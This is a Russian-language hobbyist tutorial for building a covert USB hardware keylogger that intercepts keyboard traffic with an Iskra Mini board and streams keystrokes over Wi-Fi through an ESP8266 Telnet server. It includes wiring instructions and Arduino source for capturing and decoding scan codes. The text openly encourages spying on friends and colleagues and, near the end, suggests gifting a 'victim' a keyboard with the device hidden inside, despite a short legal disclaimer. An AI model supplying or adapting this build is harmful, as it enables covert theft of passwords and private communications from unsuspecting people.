Клавиатурный шпион

  • Платформы: Iskra Mini, ESP8266
  • Языки программирования: Arduino (C++)
  • Тэги: Iskra Mini, ESP8266, USB Keylogger, перехват нажатий клавиш, USB клавиатура.

Что это?

Хотелось ли вам когда нибудь пошпионить за вашим другом, соседом или коллегой по работе? Узнать что он или она так внимательно печатает и почему из за этого радуется или наоборот нервничает. Теперь это возможно с помощью клавиатурного шпиона. Суть его довольна проста: он перехватывает данные с USB-клавиатуры и раздаёт их по Wi-Fi. Всё что надо сделать это подключить его между клавиатурой и компьютером. А потом зайти на созданный сервер и шпионить.

Статья носит образовательный характер и демонстрирует возможность беспроводной передачи данных с использованием Wi-Fi модуля. Описанное в качестве примера устройство не производится и не продается компанией Амперка.

Вы не можете использовать подобное устройство для негласного сбора данных в соответствии со статьёй 138 УК РФ.

Что нам понадобится?

Настройка и прошивка платы ESP8266

ESP8266 — это непросто WI-FI шилд, это высоко интегрированный микроконтроллер со своим набором интерфейсов.

С базовой прошивкой плата ESP8266 используется в виде моста UART ↔ WIFI и управляется с помощью AT-команд. В нашем проекте такая прошивка не имеет смысла, так как модуль сам независимо может работать без дополнительных микроконтроллеров, если в него загрузить другую прошивку. Прошить модуль можно с помощью USB-Serial адаптера. Давайте сделаем это.

Настройка Arduino IDE

Arduino IDE позволяет создавать прошивки и прошивать их непосредственно прямо в ESP8266 используя USB-Serial адаптер точно так же, как вы это делаете с другими платами Arduino. Кроме того, вы можете использовать практически все Arduino библиотеки с ESP8266. Давайте рассмотрим подробно как это сделать.

  1. Запустите Arduino IDE.
  2. Перейдите в меню: Файл Настройки и в поле Additional Boards Manager URLs вставьте ссылку: http://arduino.esp8266.com/package_esp8266com_index.json и нажмите OK.
  3. Перейдите в меню: Инструменты Плата Boards manager и в поле фильтра введите esp8266 или вручную пролистайте список и кликните на ESP8266 by ESP8266 Community. Кликните Install и дождитесь окончания загрузки (около 130 Мегабайт).
  4. Закройте Boards Manager и в меню: Инструменты Плата выберите «Generic ESP8266».
  5. Установите частоту вашего модуля 80/160Mhz, размер флеш памяти и выберите последовательный порт, к которому подключен ваш USB-Serial адаптер.

Теперь Arduino IDE знает — знает всё что ей необходимо для прошивки платы ESP8266.

Загрузка скетча

Модуль ESP8266 будет создавать TCP-сервер и передавать на него данные о нажатых клавишах клавиатуры, полученные через Serial соединение с платой Iskra Mini. Реализацию такого моста вы можете найти среди стандартных примеров из библиотеки ESP8266.

Для этого зайдите в меню: Файл Образцы ESP8266WIFI WiFiTelnetToSerial и загрузите в плату ESP8266 открывшийся скетч. При прошивке на плате ESP8266 будет мигать синий светодиод. Плата прошита теперь можно приступать к сборке устройства.

Как собрать?

  1. Используя руководство по плате Iskra Mini прошейте её скетчем приведённым ниже.
  2. Прошейте плату ESP8266 используя инструкцию написанную выше.
  3. Установите плату Iskra Mini на Breadboard.
  4. Линии питания и земли платформы Iskra Mini соедините с помощью проводов «папа-папа» с верхними рельсами питания и земли макетной платы, по ним будет идти напряжение 5 вольт. Соедините верхнюю и нижнюю рельсу земли макетной платы проводом «папа-папа».
  5. Так как плата ESP8266 работает строго от 3,3 вольт, соберём регулятор напряжения на основе микросхемы LM317 и подключим его выход Vout к нижним рельсам питания и земли макетной платы. Для этого соберите схему приведенную ниже, где:
    • LM317 регулятор напряжения;
    • C1 керамический конденсатор 100 нФ;
    • С2 электролитический конденсатор 10 мкФ;
    • R1 резистор 220 Ом;
    • R2 потенциометр 10 кОм;
    • Vin входное напряжение 5 вольт;
    • Vout выходное регулируемое напряжение.
  6. Подключите напряжение 5 вольт к верхним рельсам питания и земли. С помощью мультиметра и потенциометра отрегулируйте выходное напряжения на 3,3 вольта.
  7. Возьмите плату ESP8266 и с помощью проводов «мама-папа» соедините пины VCC и GND с нижними рельсами питания 3,3 В и земли макетной платы.
  8. Управляющий пины TX и RX платформы Iskra Mini соедините с пинами RX и TX платы ESP8266, причём пин TX платформы Iskra Mini соедините с платой ESP8266 через резисторный делитель напряжения, чтобы своим высоким сигналом не спалить ESP8266.
  9. С помощью проводов «мама-папа» подтяните пины CH_PD, RST и GPIO платы ESP8266 к питанию +3.3 В через резисторы 10 кОм.
  10. Возьмите USB удлинитель «мама-папа» и разрежьте его пополам. Далее зачистите с обеих сторон все его контакты и соедините их с макетной платой через 2 заранее установленных клеммника.
  11. Воспользовавшись цветовой маркировкой USB соедините контакты USB удлинителя через клеммник следующим образом:
    • красный провод +5V — питание верхней рельсы макетной платы;
    • чёрный провод GND — земля макетной платы;
    • жёлтый провод D+ — к цифровому пину 2 платы Iskra Mini;
    • белый провод D− — к цифровому пину 4 платы Iskra Mini;В итоге получилась схема, приведенная ниже.
  12. Перенесём готовое устройство на Perfboard для устойчивости и компактности.
  13. В заключении установим кейлогер в удобный и компактный корпус.

Алгоритм

  • Сразу после подачи питания настраиваем пин платы Iskra Mini, к которому подключен сигнал D+, на прерывание по восходящему фронту.
  • Как только прерывание сработает, запишем все входящие данные в массив.
  • Среди пришедших данных вычленяем 2 скан-кода — байта:
    • первый несёт информацию о нажатии модификационных клавиш, в нашем случае нас интересует Shift;
    • второй несёт информацию о значении нажатой клавиши.
  • Декодируем скан-код нажатой клавиши в соответствии с таблицей скан-кодов в зависимости от того нажата ли была клавиша Shift.
  • Выводим нажатую клавишу в Serial-порт.
  • Плата ESP8266 считывает все пришедшие данные со своего Serial-порта и выводит их в заранее созданный TCP-сервер.

Исходный код

keylogger.ino
#include <avr/io.h>
#include <avr/interrupt.h>
#include <avr/wdt.h>
#include <avr/pgmspace.h>
// библиотека для работы с протоколом USB
#include <usbdrv.h>
// библиотека для работы с Serial-портом
#include <uart.h>
 
// PID      8 бит идентификатор
// ADDR     7 бит адрес устройства
// Endpoint 4 бита номер конечной точки
// CRC      5 бит контрольная сумма
// итого 3 байта
#define IN_SIZE       3
 
// PID  8 бит идентификатор
// DATA 64 бита данные
// CRC  16 бит контрольная сумма
// итого 11 байт
#define USB_BUFSIZE   11
 
// количество принятых пакетов хранимых в памяти
// должно быть четным и соблюдаться условие
// (IN_SIZE + USB_BUFSIZE)*FIFO_BUF_SIZE < 255
#define FIFO_BUF_SIZE 10
 
// RX буфер: 3 байта запроса IN + 11 байт данных DATAx
unsigned char usbRxBuf[USB_BUFSIZE];
 
unsigned char FIFOBuf[(IN_SIZE+USB_BUFSIZE)*FIFO_BUF_SIZE];
 
// номер текущей записываемой пары IN-DATA (0-FIFO_BUF)
unsigned char CurWritePos = 0;
// номер текущей прочитываемой пары IN-DATA (0-FIFO_BUF)
unsigned char CurReadPos  = 0;
 
// массив символов для декодирования скан-кодов при не нажатой клавиши Shift
unsigned char masskey[] = "abcdefghijklmnopqrstuvwxyz1234567890-=[]\\X;'`,./";
 
// массив символов для декодирования скан-кодов при зажатой клавиши Shift
unsigned char masskeyShift[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|X:\"~<>?";
 
void setup()
{
  // открываем последовательный порт
  Serial.begin(19200);
  // настраиваем прерывание
  usbInit();
  // печатаем о готовности устройства
  Serial.print("UART init complet");
  // разрешаем прерывания
  sei();
}
 
void loop()
{
  // если сработало прерывание
  // то переменная CurWritePos изменит своё значение
  if (CurWritePos != CurReadPos) {
    // вызываем функцию printResult
    printResult(FIFOBuf + CurReadPos*(USB_BUFSIZE+IN_SIZE) + IN_SIZE, USB_BUFSIZE);
    CurReadPos++;
    if (CurReadPos >= FIFO_BUF_SIZE) {
    CurReadPos = 0;
    }
  }
}
 
void printResult(uchar *datakey, uchar len)
{
  bool shift = 0;
  // если во время очередного нажатия на клавишу
  // была нажата кнопка Shift
  if ((*(datakey + 1) == 0x2) || (*(datakey + 1) == 0x20))
  shift = 1;
  else
  shift = 0;
  // если 3 байт из массива данных пришёл не нулевой
  // значит нажата одна из клавиш
  if (*(datakey + 3) != 0) {
    // вызываем функцию печати символа
    printKey(*(datakey + 3), shift);
  }
}
 
void printKey(uchar key, bool shift)
{
  // если нажата одна из клавиш английского алфавита
  if (key >= 0x4 && key <= 0x27) {
    // если нажат Shift декодируем скан-коды как заглавные буквы
    if (shift == 1) {
      Serial.write(masskeyShift[key-4]);
    } else {
      // если нет декодируем скан-коды как строчные буквы
      Serial.write(masskey[key-4]);
    }
  } else if (key == 0x28) {
    // если пришел скан-код клавиши Enter
    Serial.print("\r\n");
  } else if (key == 0x2B) {
    // если пришел скан-код клавиши Tab
    Serial.print("\t");
  } else if (key == 0x2C) {
    // если пришел скан-код клавиши Space
    Serial.print(" ");
  } else if (key >= 0x2d && key <= 0x38) {
    // если пришел сканд-код из знаков пунктуации
    if (shift == 1)
    Serial.write(masskeyShift[key - 9]);
    else
    Serial.write(masskey[key - 9]);
  } else {
    // если пришёл скан-код которого мы не знаем
    // печатаем его без декодирования
    printHex(key);
  }
}

Так как данные передается на очень высокой скорости, то для его захвата и анализа используются ассемблерные вставки, которые подключаются с помощью библиотеки V-USB, которая в своем составе содержит функции приема и обработки USB сигнала.

Данные захваченные с USB шины и отправленные на TCP-сервер можно посмотреть любой терминальной программой поддерживающей Telnet. Мы использовали PuTTY. Так же можно подключиться и с Android устройств, например программой Telnet.

Демонстрация работы устройства

Что дальше?

В нашем проекте устройство вынесено наружу. Если хотите получить полный шпионаж, подарите своей будущей жертве клавиатуру с уже встроенным устройством и тогда уже никто не сможет вас вычислить.

В обработки пришедших байтов мы считываем только одну нажатую в данный момент клавишу. Это можно исправить добавив некоторые изменения в скетч и вычислять до 5 нажатых одновременно клавиш.